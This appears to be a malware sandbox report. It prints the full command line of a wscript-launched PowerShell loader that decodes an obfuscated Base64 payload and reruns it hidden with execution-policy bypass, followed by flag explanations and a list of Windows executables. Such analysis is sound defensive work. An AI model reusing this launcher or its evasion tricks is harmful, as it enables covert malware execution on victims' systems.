parent_process | wscript.exe | martian_process | "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$Codigo = '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';$OWjuxd = [system.Text.encoding]::Unicode.GetString([system.Convert]::Frombase64string( $codigo.replace('UyQMlvG','A') ));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD" |
option | -executionpolicy bypass | value | Attempts to bypass execution policy | ||||||
option | -noprofile | value | Does not load current user profile | ||||||
option | -windowstyle hidden | value | Attempts to execute command with a hidden window | ||||||
option | -executionpolicy bypass | value | Attempts to bypass execution policy | ||||||
option | -noprofile | value | Does not load current user profile | ||||||
option | -windowstyle hidden | value | Attempts to execute command with a hidden window | ||||||
option | -executionpolicy bypass | value | Attempts to bypass execution policy | ||||||
option | -noprofile | value | Does not load current user profile | ||||||
option | -windowstyle hidden | value | Attempts to execute command with a hidden window |
file | C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe |
file | C:\Windows\System32\ie4uinit.exe |
file | C:\Program Files\Windows Sidebar\sidebar.exe |
file | C:\Windows\System32\WindowsAnytimeUpgradeUI.exe |
file | C:\Windows\System32\xpsrchvw.exe |
file | C:\Windows\System32\displayswitch.exe |
file | C:\Program Files\Common Files\Microsoft Shared\ink\mip.exe |
file | C:\Windows\System32\mblctr.exe |
file | C:\Windows\System32\mstsc.exe |
file | C:\Windows\System32\SnippingTool.exe |
file | C:\Windows\System32\SoundRecorder.exe |
file | C:\Windows\System32\dfrgui.exe |
file | C:\Windows\System32\msinfo32.exe |
file | C:\Windows\System32\rstrui.exe |
file | C:\Program Files\Common Files\Microsoft Shared\ink\ShapeCollector.exe |
file | C:\Program Files\Windows Journal\Journal.exe |
file | C:\Windows\System32\MdSched.exe |
file | C:\Windows\System32\msconfig.exe |
file | C:\Windows\System32\recdisc.exe |
file | C:\Windows\System32\msra.exe |